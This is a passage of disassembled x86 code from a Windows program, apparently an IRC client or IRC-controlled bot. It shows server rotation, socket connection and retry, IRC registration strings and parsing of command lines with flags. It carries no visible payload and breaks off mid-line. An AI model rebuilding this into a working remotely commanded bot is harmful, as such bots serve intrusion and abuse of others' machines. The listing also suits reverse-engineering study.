--------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FDA0 proc near ; CODE XREF: sub_4013C0j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FDA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E028 mov dword ptr [esi+11h], offset off_43E034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B54 sub_40FDA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_402031 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FF60 proc near ; CODE XREF: sub_40212Bj var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_4395D3 push eax mov eax, 2478h mov large fs:0, esp call sub_436840 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_401424 mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411330 loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj mov al, byte_4E6E74 mov edi, dword_50F8A4 cmp al, bl jz loc_411330 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40FFCA cmp dword ptr [ebp+1Ch], 5 jg short loc_40FFD4 cmp eax, ebx jz loc_41010E loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_41010E loc_40FFD4: ; CODE XREF: sub_40FF60+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40FFE9 push eax nop call near ptr 71AB9639h loc_40FFE9: ; CODE XREF: sub_40FF60+80j mov ecx, offset word_448C8E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401537 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401974 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_410019 mov [ebp+20h], ebx loc_410019: ; CODE XREF: sub_40FF60+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_40146A mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_44741D mov ecx, offset word_448D06 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D06 add eax, 1B6h push eax push offset dword_4473D4 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D06 push edx push offset dword_4472B0 call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 124h push ecx push offset word_447342 mov ecx, offset word_448D06 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D06 add eax, 0DBh push eax push offset byte_4472F9 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D06 add edx, 92h push edx push offset byte_44738B call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_4474AF mov ecx, offset word_448D06 call sub_401F32 call edi mov [ebp+24h], eax loc_41010E: ; CODE XREF: sub_40FF60+64j ; sub_40FF60+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410138 push 6 push 1 push 2 call near ptr 71AB3B91h nop push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 29B0000h jmp loc_411327 ; --------------------------------------------------------------------------- loc_410138: ; CODE XREF: sub_40FF60+1B4j cmp [ebp+15h], bl jnz loc_4102C8 mov ax, word_44735C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx nop call near ptr 71AB2B66h mov ecx, offset byte_4472F9 mov [esp+24h+arg_1E], ax call sub_4017E4 push eax call sub_40187F add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4101B8 push 2710h nop call near ptr 29B0000h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_411327 ; --------------------------------------------------------------------------- loc_4101B8: ; CODE XREF: sub_40FF60+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5EA1BD add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015D7 lea ecx, [esp+3Ch+arg_408] push ecx call near ptr 71AB2BF4h nop push offset byte_446F60 mov ecx, offset byte_44738B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410287 mov ecx, offset byte_44738B call sub_4017E4 mov edx, dword_44710C push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h loc_410287: ; CODE XREF: sub_40FF60+305j mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov eax, dword_447114 push eax mov ecx, offset byte_4E6E75 call sub_4017E4 mov ecx, dword_447110 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E0B add esp, 1Ch jmp loc_411327 ; --------------------------------------------------------------------------- loc_4102C8: ; CODE XREF: sub_40FF60+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_411320 nop call near ptr 2960743h lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CBC lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A87 push offset asc_443600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447118 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_4103A0 push offset asc_443600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4473D4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4103A4 loc_4103A0: ; CODE XREF: sub_40FF60+3EAj mov [esp+20h+var_D], bl loc_4103A4: ; CODE XREF: sub_40FF60+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4103C6 mov byte ptr [ebp+16h], 1 jmp loc_411327 ; --------------------------------------------------------------------------- loc_4103C6: ; CODE XREF: sub_40FF60+45Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470EC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl push 1 jz short loc_410464 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017E4 push eax mov eax, dword_447108 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410592 ; --------------------------------------------------------------------------- loc_410464: ; CODE XREF: sub_40FF60+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, dword_4470F0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz loc_4105D0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447108 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410597 push offset asc_443600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017E4 push eax mov eax, dword_447108 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410592: ; CODE XREF: sub_40FF60+4FFj call sub_401226 loc_410597: ; CODE XREF: sub_40FF60+5E6j cmp [ebp+16h], bl jnz loc_411327 mov ecx, offset byte_44741D call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov ecx, dword_4470F4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4105D0: ; CODE XREF: sub_40FF60+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447128 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410652 push offset asc_443600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44712C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410657 loc_410652: ; CODE XREF: sub_40FF60+69Bj mov [esp+20h+var_D], 1 loc_410657: ; CODE XREF: sub_40FF60+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4106C4 cmp [ebp+16h], bl jnz short loc_4106A0 mov ecx, offset byte_44741D call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov edx, dword_4470F4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h loc_4106A0: ; CODE XREF: sub_40FF60+713j mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov eax, dword_4470FC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4106C4: ; CODE XREF: sub_40FF60+70Ej push offset asc_443600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447104 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz short loc_410775 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_41075D inc eax lea ecx, [ebp+28h] push eax call sub_4015D7 loc_41075D: ; CODE XREF: sub_40FF60+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410775: ; CODE XREF: sub_40FF60+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447100 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_4107B0 mov al, byte_447834 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4107B4 loc_4107B0: ; CODE XREF: sub_40FF60+840j mov [esp+20h+var_D], bl loc_4107B4: ; CODE XREF: sub_40FF60+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410AC1 push offset asc_443C84 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_410812 mov ecx, eax call sub_402054 loc_410812: ; CODE XREF: sub_40FF60+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41083E mov ecx, eax call sub_4010BE loc_41083E: ; CODE XREF: sub_40FF60+8D5j push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401A9B push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410AAC loc_41089F: ; CODE XREF: sub_40FF60+B46j push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_4108C7 mov ecx, eax call sub_402054 mov esi, eax jmp short loc_4108C9 ; --------------------------------------------------------------------------- loc_4108C7: ; CODE XREF: sub_40FF60+95Aj xor esi, esi loc_4108C9: ; CODE XREF: sub_40FF60+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4108FB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4108FF ; --------------------------------------------------------------------------- loc_4108FB: ; CODE XREF: sub_40FF60+98Cj mov [esp+20h+var_C], ebx loc_4108FF: ; CODE XREF: sub_40FF60+999j push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013E3 test eax, eax jz short loc_410922 mov byte ptr [esi+93h], 1 jmp short loc_410928 ; --------------------------------------------------------------------------- loc_410922: ; CODE XREF: sub_40FF60+9B7j mov [esi+93h], bl loc_410928: ; CODE XREF: sub_40FF60+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410943 mov byte ptr [esi+94h], 1 jmp short loc_410949 ; --------------------------------------------------------------------------- loc_410943: ; CODE XREF: sub_40FF60+9D8j mov [esi+94h], bl loc_410949: ; CODE XREF: sub_40FF60+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410964 mov byte ptr [esi+95h], 1 jmp short loc_41096A ; --------------------------------------------------------------------------- loc_410964: ; CODE XREF: sub_40FF60+9F9j mov [esi+95h], bl loc_41096A: ; CODE XREF: sub_40FF60+A02j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FBE lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_446F60 lea ecx, [esi+54h] call sub_4015D7 push offset byte_446F60 lea ecx, [esi+3Fh] call sub_4015D7 push offset asc_443600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FBE lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017E4 push eax mov ecx, esi call sub_4015D7 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DE3 cmp esi, ebx jz short loc_410A59 push 1 mov ecx, esi call sub_4019D3 loc_410A59: ; CODE XREF: sub_40FF60+AEEj mov ecx, [esp+20h+var_C] call sub_4013D4 inc edi push offset asc_4435EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41089F loc_410AAC: ; CODE XREF: sub_40FF60+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410AC1: ; CODE XREF: sub_40FF60+86Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470F8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410DDB push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410B3B mov ecx, eax call sub_402054 mov esi, eax jmp short loc_410B3D ; --------------------------------------------------------------------------- loc_410B3B: ; CODE XREF: sub_40FF60+BCEj xor esi, esi loc_410B3D: ; CODE XREF: sub_40FF60+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410B6C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410B6E ; --------------------------------------------------------------------------- loc_410B6C: ; CODE XREF: sub_40FF60+BFFj xor edi, edi loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013E3 test eax, eax jz short loc_410B90 mov byte ptr [esi+95h], 1 jmp short loc_410B96 ; --------------------------------------------------------------------------- loc_410B90: ; CODE XREF: sub_40FF60+C25j mov [esi+95h], bl loc_410B96: ; CODE XREF: sub_40FF60+C2Ej push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BB1 mov byte ptr [esi+93h], 1 jmp short loc_410BB7 ; --------------------------------------------------------------------------- loc_410BB1: ; CODE XREF: sub_40FF60+C46j mov [esi+93h], bl loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BD2 mov byte ptr [esi+94h], 1 jmp short loc_410BD8 ; --------------------------------------------------------------------------- loc_410BD2: ; CODE XREF: sub_40FF60+C67j mov [esi+94h], bl loc_410BD8: ; CODE XREF: sub_40FF60+C70j push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016AE push offset asc_443C78 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FBE lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C78 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016AE push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FBE lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset dword_4437F8 lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016AE push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FBE mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FBE lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410DAD add eax, 2 push eax jmp short loc_410DB2 ; --------------------------------------------------------------------------- loc_410DAD: ; CODE XREF: sub_40FF60+E45j push offset byte_446F60 loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj mov ecx, esi call sub_4015D7 push ebx push esi mov ecx, edi call sub_401DE3 cmp esi, ebx jz short loc_410DCF push 1 mov ecx, esi call sub_4019D3 loc_410DCF: ; CODE XREF: sub_40FF60+E64j mov ecx, edi call sub_4013D4 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_40FF60+BADj push offset asc_443600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44711C mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410FB0 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push edx call sub_4016AE mov ecx, offset word_448C8E call sub_401CD0 cmp eax, ebx jz short loc_410EA2 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push eax call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_443600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016AE mov ecx, offset word_448C8E mov byte ptr [esp+50h+arg_246C], bl call sub_40210D loc_410EA2: ; CODE XREF: sub_40FF60+EF3j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_4E6E75 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], 